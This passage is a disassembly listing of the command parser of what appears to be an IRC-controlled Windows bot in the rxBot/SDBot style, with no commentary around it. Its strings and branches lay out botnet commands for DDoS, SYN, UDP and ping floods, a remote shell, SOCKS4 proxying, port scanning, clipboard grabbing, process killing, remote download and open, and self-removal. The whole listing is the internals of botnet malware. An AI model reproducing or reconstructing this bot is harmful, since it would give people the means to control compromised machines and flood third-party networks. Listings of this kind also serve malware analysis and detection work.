		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409BF3
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_409D9B
		mov	eax, dword_475254
		mov	eax, off_424B14[eax*4]
		cmp	[eax], bl
		jz	short loc_409D9B
		push	eax
		push	ecx
		push	offset dword_427244
		jmp	loc_409914
; ---------------------------------------------------------------------------


loc_409D9B:				; CODE XREF: sub_409557+826j
					; sub_409557+836j
		push	edi		; Str2
		push	offset dword_42723C ; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409BF3
		mov	eax, dword ptr [ebp+esi*4+Args]
		cmp	eax, ebx
		jz	loc_409BF3
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_409BF3
		push	eax
		push	ecx
		push	offset dword_427224
		jmp	loc_409914
; ---------------------------------------------------------------------------


loc_409DDA:				; CODE XREF: sub_409557+73Bj
		push	offset asc_427350 ; " :"
		push	[ebp+Src]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4099D2
		mov	edi, [ebp+arg_8]
		mov	cl, byte_424A60
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_424A60
		mov	[eax+3], cl
		lea	ecx, dword_42F7D8[edi]
		push	9Fh		; Count
		add	eax, 4
		push	ecx		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax


loc_409E32:				; CODE XREF: sub_409557+983j
		push	[ebp+arg_8]
		lea	eax, [ebp+SubStr]
		push	offset aD	; "$%d-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h
		test	eax, eax
		jz	short loc_409E9E
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jz	short loc_409E9E
		lea	eax, Str1[edi]
		push	eax		; Str
		call	_strlen
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_409ED0
		mov	eax, [ebp+arg_20]
		push	dword ptr [eax-4] ; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409ED0
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_406DDF
		add	esp, 0Ch
		jmp	short loc_409ED0
; ---------------------------------------------------------------------------


loc_409E9E:				; CODE XREF: sub_409557+903j
					; sub_409557+90Aj
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jnz	short loc_409ED0
		lea	eax, [ebp+SubStr]
		push	2		; Count
		push	eax		; Source
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Source]
		mov	[ebp+var_12], bl
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_406DDF
		add	esp, 18h


loc_409ED0:				; CODE XREF: sub_409557+91Cj
					; sub_409557+930j ...
		dec	[ebp+arg_8]
		sub	[ebp+arg_20], 4
		cmp	[ebp+arg_8], ebx
		jg	loc_409E32
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_8], 10h
		mov	edi, eax


loc_409EED:				; CODE XREF: sub_409557+9E2j
		push	[ebp+arg_8]
		lea	eax, [ebp+SubStr]
		push	offset aD_1	; "$%d"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h
		test	eax, eax
		jz	short loc_409F30
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_409F30
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_406DDF
		add	esp, 0Ch


loc_409F30:				; CODE XREF: sub_409557+9BEj
					; sub_409557+9C4j
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_409EED
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_C8], 1


loc_409F48:				; CODE XREF: sub_409557+721j
					; sub_409557+756j
		mov	al, [edi]
		cmp	al, byte_424A60
		jz	short loc_409F5E
		cmp	[ebp+var_C8], ebx
		jz	loc_40A143


loc_409F5E:				; CODE XREF: sub_409557+9F9j
		push	[ebp+Dest]	; Source
		mov	edi, [ebp+Src]
		push	offset aMe	; "$me"
		push	edi		; Src
		call	sub_406DDF
		lea	eax, [ebp+var_C4]
		push	eax		; Source
		push	offset aUser_1	; "$user"
		push	edi		; Src
		call	sub_406DDF
		push	[ebp+var_8C]	; Source
		push	offset aChan	; "$chan"
		push	edi		; Src
		call	sub_406DDF
		push	ebx		; Str1
		push	ebx		; int
		lea	eax, [ebp+SubStr]
		push	2		; int
		push	eax		; Dest
		call	sub_40FA38
		push	eax		; Source
		push	offset aRndnick	; "$rndnick"
		push	edi		; Src
		call	sub_406DDF
		add	esp, 40h
		push	[ebp+arg_14]	; Source
		push	offset aServer	; "$server"
		push	edi		; Src
		call	sub_406DDF
		mov	edi, offset aChr ; "$chr("
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h


loc_409FD0:				; CODE XREF: sub_409557+B65j
		test	eax, eax
		jz	loc_40A0C1
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		mov	[ebp+Dest], eax
		add	eax, 5
		push	4		; Count
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+SubStr]
		push	offset asc_4271E4 ; ")"
		push	eax		; Str
		call	_strtok
		add	esp, 1Ch
		cmp	[ebp+SubStr], 30h
		jl	short loc_40A01C
		cmp	[ebp+SubStr], 39h
		jle	short loc_40A032


loc_40A01C:				; CODE XREF: sub_409557+ABAj
		push	3		; Count
		lea	eax, [ebp+SubStr]
		push	offset a63	; "63"
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_40A032:				; CODE XREF: sub_409557+AC3j
		lea	eax, [ebp+SubStr]
		push	eax		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	short loc_40A055
		lea	eax, [ebp+SubStr]
		push	eax		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+Source], al
		jmp	short loc_40A066
; ---------------------------------------------------------------------------


loc_40A055:				; CODE XREF: sub_409557+AEAj
		call	_rand
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+Source], dl


loc_40A066:				; CODE XREF: sub_409557+AFCj
		lea	eax, [ebp+SubStr]
		mov	[ebp+var_13], bl
		push	eax		; Str
		call	_strlen
		mov	[ebp+arg_8], eax
		push	0Ch		; Size
		lea	eax, [ebp+SubStr]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax		; Count
		lea	eax, [ebp+SubStr]
		push	[ebp+Dest]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_406DDF
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 30h
		jmp	loc_409FD0
; ---------------------------------------------------------------------------


loc_40A0C1:				; CODE XREF: sub_409557+A7Bj
		mov	edi, 1FFh
		lea	eax, [ebp+var_F9C]
		push	edi		; Count
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_F9C]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+var_119C]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_119C]
		push	offset Delim	; " "
		push	eax		; Str
		call	_strtok
		add	esp, 20h
		mov	[ebp+Str2], eax
		lea	edi, [ebp+Args]
		mov	[ebp+Dest], 1Fh


loc_40A111:				; CODE XREF: sub_409557+BCFj
		push	offset Delim	; " "
		push	ebx		; Str
		call	_strtok
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+Dest]
		pop	ecx
		jnz	short loc_40A111
		mov	ecx, [ebp+esi+Str2]
		lea	eax, [ebp+esi+Str2]
		cmp	ecx, ebx
		jz	loc_4099D2
		add	ecx, 3
		mov	[eax], ecx


loc_40A143:				; CODE XREF: sub_409557+A01j
		mov	edi, [ebp+esi+Str2]
		push	edi		; Str2
		push	offset aRndnick_0 ; "rndnick"
		mov	[ebp+Dest], edi
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E78C
		push	edi		; Str2
		push	offset aRn	; "rn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E78C
		push	edi		; Str2
		push	offset aDie	; "die"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E76A
		push	edi		; Str2
		push	offset aD_0	; "d"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E76A
		push	edi		; Str2
		push	offset aLogout	; "logout"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E6BF
		push	edi		; Str2
		push	offset aLo	; "lo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E6BF
		push	edi		; Str2
		push	offset aVersion	; "version"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E6B0
		push	edi		; Str2
		push	offset aVer	; "ver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E6B0
		push	edi		; Str2
		push	offset aSocks4	; "socks4"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E58E
		push	edi		; Str2
		push	offset aS4	; "s4"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E58E
		push	edi		; Str2
		push	offset aSocks4stop ; "socks4stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A248
		push	dword ptr [ebp+esi+Args]
		push	11h
		push	offset aServer_0 ; "Server"
		push	offset aSocks4_0 ; "[SOCKS4]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A248:				; CODE XREF: sub_409557+CD7j
		push	edi		; Str2
		push	offset aRloginstop ; "rloginstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A271
		push	dword ptr [ebp+esi+Args]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset aRlogind	; "[RLOGIND]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A271:				; CODE XREF: sub_409557+D00j
		push	edi		; Str2
		push	offset aHttpstop ; "httpstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A29A
		push	dword ptr [ebp+esi+Args]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset aHttpd	; "[HTTPD]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A29A:				; CODE XREF: sub_409557+D29j
		push	edi		; Str2
		push	offset aLogstop	; "logstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A2C3
		push	dword ptr [ebp+esi+Args]
		push	1Ch
		push	offset aLogList	; "Log list"
		push	offset aLog	; "[LOG]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A2C3:				; CODE XREF: sub_409557+D52j
		push	edi		; Str2
		push	offset aRedirectstop ; "redirectstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A2EC
		push	dword ptr [ebp+esi+Args]
		push	10h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset aRedirect ; "[REDIRECT]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A2EC:				; CODE XREF: sub_409557+D7Bj
		push	edi		; Str2
		push	offset aDdos_stop ; "ddos.stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A315
		push	dword ptr [ebp+esi+Args]
		push	0Ah
		push	offset aDdosFlood ; "DDoS flood"
		push	offset aDdos	; "[DDoS]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A315:				; CODE XREF: sub_409557+DA4j
		push	edi		; Str2
		push	offset aSynstop	; "synstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A33E
		push	dword ptr [ebp+esi+Args]
		push	0Bh
		push	offset aSynFlood ; "Syn	flood"
		push	offset aSyn	; "[SYN]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A33E:				; CODE XREF: sub_409557+DCDj
		push	edi		; Str2
		push	offset aUdpstop	; "udpstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A367
		push	dword ptr [ebp+esi+Args]
		push	0Fh
		push	offset aUdpFlood ; "UDP	flood"
		push	offset aUpd	; "[UPD]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A367:				; CODE XREF: sub_409557+DF6j
		push	edi		; Str2
		push	offset aPingstop ; "pingstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A390
		push	dword ptr [ebp+esi+Args]
		push	0Eh
		push	offset aPingFlood ; "Ping flood"
		push	offset aPing_0	; "[PING]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A390:				; CODE XREF: sub_409557+E1Fj
		push	edi		; Str2
		push	offset aTftpstop ; "tftpstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A3B9
		push	dword ptr [ebp+esi+Args]
		push	4
		push	offset aServer_0 ; "Server"
		push	offset aTftp	; "[TFTP]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A3B9:				; CODE XREF: sub_409557+E48j
		push	edi		; Str2
		push	offset aProcsstop ; "procsstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E55F
		push	edi		; Str2
		push	offset aPsstop	; "psstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E55F
		push	edi		; Str2
		push	offset aClonestop ; "clonestop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A40C
		push	dword ptr [ebp+esi+Args]
		push	17h
		push	offset aClone	; "Clone"
		push	offset aClones	; "[CLONES]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A40C:				; CODE XREF: sub_409557+E9Bj
		push	edi		; Str2
		push	offset aSecurestop ; "securestop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A435
		push	dword ptr [ebp+esi+Args]
		push	19h
		push	offset aSecure	; "Secure"
		push	offset aSecure_0 ; "[SECURE]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A435:				; CODE XREF: sub_409557+EC4j
		push	edi		; Str2
		push	offset aScanstop ; "scanstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A45E
		push	dword ptr [ebp+esi+Args]
		push	8
		push	offset aScan	; "Scan"
		push	offset aScan_0	; "[SCAN]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A45E:				; CODE XREF: sub_409557+EEDj
		push	edi		; Str2
		push	offset aScanstats ; "scanstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E549
		push	edi		; Str2
		push	offset aStats	; "stats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E549
		push	edi		; Str2
		push	offset aReconnect ; "reconnect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E528
		push	edi		; Str2
		push	offset aR	; "r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E528
		push	edi		; Str2
		push	offset aDisconnect ; "disconnect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E506
		push	edi		; Str2
		push	offset aDc	; "dc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E506
		push	edi		; Str2
		push	offset aQuit_0	; "quit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E4BE
		push	edi		; Str2
		push	offset aQ	; "q"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E4BE
		push	edi		; Str2
		push	offset aStatus	; "status"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E480
		push	edi		; Str2
		push	offset aS_7	; "s"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E480
		push	edi		; Str2
		push	offset aId	; "id"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E449
		push	edi		; Str2
		push	offset aI_0	; "i"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E449
		push	edi		; Str2
		push	offset aReboot	; "reboot"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A5AC
		call	sub_407228
		test	eax, eax
		mov	eax, offset aMainRebootingS ; "[MAIN]: Rebooting system."
		jnz	short loc_40A57E
		mov	eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot	system."


loc_40A57E:				; CODE XREF: sub_409557+1020j
		push	eax		; Format
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 1Ch
		jmp	loc_40CA6C
; ---------------------------------------------------------------------------


loc_40A5AC:				; CODE XREF: sub_409557+1012j
		push	edi		; Str2
		push	offset aThreads	; "threads"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E358
		push	edi		; Str2
		push	offset aT	; "t"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E358
		push	edi		; Str2
		push	offset aAliases	; "aliases"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E338
		push	edi		; Str2
		push	offset aAl	; "al"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E338
		push	edi		; Str2
		push	offset aLog_0	; "log"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E248
		push	edi		; Str2
		push	offset aLg	; "lg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E248
		push	edi		; Str2
		push	offset aClearlog ; "clearlog"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E22C
		push	edi		; Str2
		push	offset aClg	; "clg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E22C
		push	edi		; Str2
		push	offset aNetinfo	; "netinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1F5
		push	edi		; Str2
		push	offset aNi	; "ni"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1F5
		push	edi		; Str2
		push	offset aSysinfo	; "sysinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		push	edi		; Str2
		push	offset aSi	; "si"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		push	edi		; Str2
		push	offset aRemov10e ; "remov10e"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E190
		push	edi		; Str2
		push	offset aRemov10e2 ; "remov10e2"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E190
		push	edi		; Str2
		push	offset aProcs	; "procs"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E06D
		push	edi		; Str2
		push	offset aPs	; "ps"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E06D
		push	edi		; Str2
		push	offset aUptime	; "uptime"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFE9
		push	edi		; Str2
		push	offset aUp	; "up"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFE9
		push	edi		; Str2
		push	offset aDriveinfo ; "driveinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFCC
		push	edi		; Str2
		push	offset aDrv	; "drv"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFCC
		push	edi		; Str2
		push	offset aTestdlls ; "testdlls"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFB3
		push	edi		; Str2
		push	offset aDll	; "dll"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFB3
		push	edi		; Str2
		push	offset aOpencmd	; "opencmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF6C
		push	edi		; Str2
		push	offset aOcmd	; "ocmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF6C
		push	edi		; Str2
		push	offset aCmdstop	; "cmdstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A7CD
		push	dword ptr [ebp+esi+Args]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40E572
; ---------------------------------------------------------------------------


loc_40A7CD:				; CODE XREF: sub_409557+125Cj
		push	edi		; Str2
		push	offset aWho	; "who"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A85A
		cmp	[ebp+var_8], ebx
		jnz	short loc_40A7FD
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 14h


loc_40A7FD:				; CODE XREF: sub_409557+128Aj
		mov	edi, [ebp+Str1]
		xor	esi, esi


loc_40A802:				; CODE XREF: sub_409557+12F1j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40A80E
		mov	eax, offset aEmpty ; "<Empty>"


loc_40A80E:				; CODE XREF: sub_409557+12B0j
		push	eax
		push	esi
		lea	eax, [ebp+Dst]
		push	offset aD_S	; "%d. %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40A802
		push	offset aMainLoginListC ; "[MAIN]: Login	list complete."


loc_40A84F:				; CODE XREF: sub_409557+4EEDj
		call	sub_402D63
		pop	ecx
		jmp	loc_40E7D9
; ---------------------------------------------------------------------------


loc_40A85A:				; CODE XREF: sub_409557+1285j
		push	edi		; Str2
		push	offset aGetclip	; "getclip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF2B
		push	edi		; Str2
		push	offset aGc	; "gc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF2B
		push	edi		; Str2
		push	offset aFlusharp ; "flusharp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF00
		push	edi		; Str2


loc_40A89A:				; DATA XREF: .data:0041E5ECo
					; .data:0041E630o ...
		push	offset aFarp	; "farp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF00
		push	edi		; Str2
		push	offset aFlushdns ; "flushdns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DEDC
		push	edi		; Str2
		push	offset aFdns	; "fdns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DEDC
		push	edi		; Str2
		push	offset aCurrentip ; "currentip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DE9F
		push	edi		; Str2
		push	offset aCip	; "cip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DE9F
		push	edi		; Str2
		push	offset aRloginserver ; "rloginserver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD43
		push	edi		; Str2
		push	offset aRlogin	; "rlogin"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD43
		push	edi		; Str2
		push	offset aHttpserver ; "httpserver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DBCD
		push	edi		; Str2
		push	offset aHttp	; "http"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DBCD
		push	edi		; Str2
		push	offset aTftpserver ; "tftpserver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA8F
		push	edi		; Str2
		push	offset aTftp_0	; "tftp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA8F
		push	edi		; Str2
		push	offset aFofofo2	; "fofofo2"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D794
		push	edi		; Str2
		push	offset aSfofofo2a ; "sfofofo2a"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D794
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	loc_4099D2
		push	[ebp+Dest]	; Str2
		push	offset aNick_0	; "nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D77B
		push	[ebp+Dest]	; Str2
		push	offset aN	; "n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D77B
		push	[ebp+Dest]	; Str2
		push	offset aJoin	; "join"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D75B
		push	[ebp+Dest]	; Str2
		push	offset aJ	; "j"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D75B
		push	[ebp+Dest]	; Str2
		push	offset aPart_0	; "part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D742
		push	[ebp+Dest]	; Str2
		push	offset aPt	; "pt"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D742
		push	[ebp+Dest]	; Str2
		push	offset aRaw	; "raw"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D70B
		push	[ebp+Dest]	; Str2
		push	offset aR	; "r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D70B
		push	[ebp+Dest]	; Str2
		push	offset aKillthread ; "killthread"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D648
		push	[ebp+Dest]	; Str2
		push	offset aK	; "k"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D648
		push	[ebp+Dest]	; Str2
		push	offset aC_quit	; "c_quit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D59F
		push	[ebp+Dest]	; Str2
		push	offset aC_q	; "c_q"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D59F
		push	[ebp+Dest]	; Str2
		push	offset aC_rndnick ; "c_rndnick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D554
		push	[ebp+Dest]	; Str2
		push	offset aC_rn	; "c_rn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D554
		push	[ebp+Dest]	; Str2
		push	offset aPrefix	; "prefix"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D53F
		push	[ebp+Dest]	; Str2
		push	offset aPr	; "pr"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D53F
		push	[ebp+Dest]	; Str2
		push	offset aOpen	; "open"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D515
		push	[ebp+Dest]	; Str2
		push	offset aO	; "o"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D515
		push	[ebp+Dest]	; Str2
		push	offset aS3rv3rfg ; "s3rv3rfg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4F0
		push	[ebp+Dest]	; Str2
		push	offset aS3rv3rfg2 ; "s3rv3rfg2"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4F0
		push	[ebp+Dest]	; Str2
		push	offset aDns	; "dns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D480
		push	[ebp+Dest]	; Str2
		push	offset aDn	; "dn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D480
		push	[ebp+Dest]	; Str2
		push	offset aKillproc ; "killproc"
		call	_strcmp
